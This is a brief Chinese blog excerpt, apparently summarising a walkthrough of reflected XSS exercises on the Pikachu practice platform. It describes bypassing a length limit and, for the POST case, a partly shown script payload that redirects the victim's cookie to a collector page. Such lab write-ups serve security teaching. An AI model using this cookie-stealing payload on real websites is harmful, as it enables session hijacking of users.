摘要： 反射形 发现有字数限制，先改为99 然后输入 提交后就会弹窗 查看源码，发现以及写入源码中。 反射形（post) 先构造一个网页模拟提交 然后构造语句<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie. 阅读全文